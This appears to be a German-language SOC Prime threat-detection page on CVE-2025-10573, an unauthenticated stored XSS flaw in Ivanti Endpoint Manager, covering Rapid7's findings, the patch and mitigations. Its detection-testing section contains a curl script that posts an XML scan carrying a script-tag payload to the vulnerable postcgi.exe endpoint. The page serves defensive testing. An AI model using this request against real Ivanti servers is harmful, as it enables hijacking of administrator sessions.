SOC Prime Bias: Kritisch

10 Dez. 2025 19:54

CVE-2025-10573: Ivanti EPM Unauthentifizierte Stored XSS-Schwachstelle (Behoben)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
CVE-2025-10573: Ivanti EPM Unauthentifizierte Stored XSS-Schwachstelle (Behoben)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ivanti Endpoint Manager (EPM) enthält eine gespeicherte Cross-Site-Scripting-Sicherheitslücke, die es einem nicht authentifizierten Angreifer ermöglicht, bösartigen JavaScript-Code in Gerätedaten zu injizieren. Wenn diese Nutzlast im Web-Dashboard der Verwaltungskonsole angezeigt wird, kann sie verwendet werden, um die Sitzung eines Administrators zu übernehmen. Das Problem ist als CVE-2025-10573 erfasst und hat einen CVSS-Score von 9,6.

Untersuchung

Rapid7 analysierte eine Ivanti EPM 11.0.6 Core-Installation auf Windows Server 2022 und entdeckte, dass eine konstruierte POST-Anfrage an /incomingdata/postcgi.exe mit bösartigen key=value-Feldern dazu führt, dass das JavaScript gespeichert und später in der Admin-Benutzeroberfläche ausgeführt wird. Das unsichere Verhalten der CGI-Binary postcgi.exe, die Scandateien außerhalb des Web-Roots schreibt, ermöglicht diesen Injektionspfad.

Minderung

Ivanti veröffentlichte am 09.12.2025 einen Patch. Ein Upgrade auf die Ivanti EPM-Version 2024 SU4 SR1 behebt die Sicherheitslücke. Rapid7 stellt einen authentifizierten Schwachstellenscan für Exposure Command, InsightVM und Nexpose-Benutzer bereit, um betroffene Installationen zu identifizieren.

Antwort

Organisationen sollten das 2024 SU4 SR1-Update umgehend implementieren, den nicht authentifizierten Zugriff auf die /incomingdata API einschränken und Webserver-Logs auf POST-Anfragen an postcgi.exe überprüfen. Sie sollten auch Administrator-Sitzungen auf Anzeichen von Hijacking überprüfen und alle kompromittierten Zugangsdaten ändern.

Angriffsverlauf

Wir aktualisieren diesen Teil noch. Melden Sie sich an, um benachrichtigt zu werden.

Benachrichtige mich

Simulationsausführung

Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die dazu dient, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffsbericht & Befehle:
    Ein Angreifer, der entdeckt hat, dass der Ivanti EPM-Scanendpunkt nicht authentifiziert ist, erstellt eine bösartige Scan-Nutzlast, die ein <script> Tag einbindet, das eine Warnung (repräsentiert die Sitzungsübernahme) anzeigt. Der Angreifer verwendet curl um diese Nutzlast zu POSTen und so eine legitime Gerätescaneinreichung zu simulieren. Da die Nutzlast genau der Zeichenkette entspricht, die die Regel überwacht, sollte das SIEM einen Alarm auslösen.

  • Regressionstest-Skript:

    #!/bin/bash
    # -------------------------------------------------
    # Gespeichertes XSS gegen Ivanti EPM Scan API simulieren
    # -------------------------------------------------
    
    # Ziel-URL (Host bei Bedarf anpassen)
    TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan"
    
    # Bösartige Nutzlast – genau die Zeichenfolge, die die Regel erwartet
    PAYLOAD="<script>alert('Administrator-Konto wurde übernommen')</script>"
    
    # Vollständiger XML-Körper, den Ivanti EPM erwartet (vereinfacht)
    XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>"
    
    # Anfrage senden
    curl -k -X POST "$TARGET" 
      -H "Content-Type: application/xml" 
      -d "$XML_BODY"
    
    echo "Bösartiger Scan eingereicht."
  • Aufräumbefehle:
    Die Scan-Daten bleiben in der Ivanti EPM-Datenbank bestehen; das Löschen erfordert normalerweise einen authentifizierten Administrator. Zu Testzwecken beschränkt sich der Bereinigungsschritt darauf, die Testdatei aus lokalen Logaufzeichnungen zu entfernen.

    #!/bin/bash
    # Einfache Bereinigung: temporäre curl-Logs entfernen (falls vorhanden)
    rm -f /tmp/curl_log_*
    echo "Lokale Testartefakte entfernt."